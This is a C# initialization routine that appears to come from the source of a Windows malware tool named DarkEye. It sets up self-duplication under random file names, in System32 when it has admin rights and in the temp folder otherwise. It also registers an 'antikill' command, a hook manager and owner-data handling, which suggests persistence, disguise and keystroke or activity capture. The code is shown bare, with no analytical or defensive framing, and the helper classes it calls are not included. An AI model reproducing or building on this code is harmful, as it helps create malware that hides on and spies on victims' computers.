private static void Initialize(String[] args) { try { globalLog = new Log(null); globalLog.AddLog("Connected"); Protection.Initialize(); commandManager = new CommandManager(); duplicateManager = new DuplicateManager(Utils.Utils.IsAdmin ? Utils.Utils.GetRandomFileNameFromDirectory("C:\\Windows\\System32") : (Path.GetTempPath() + Utils.Utils.GetRandomString(6) + ".exe")); ownerManager = new OwnerManager(); dataManager = new DataManager(); windowManager = new WindowManager(); lineManager = new LineManager(); hookManager = new HookManager(); commandManager.registerCommand("-duplicate"); commandManager.registerCommand("-antikill"); commandManager.registerCommand("-debug"); ownerManager.registerOwner(dataManager.ownerData); commandManager.Init(args); duplicateManager.Init(); windowManager.Init(); Streams.Initialize(); globalLog.DispathContent(); hookManager.Init(); } catch (Exception ex) { WriteUtils.writeError(DARKEYE_TITLE + ": " + ex.Message); } }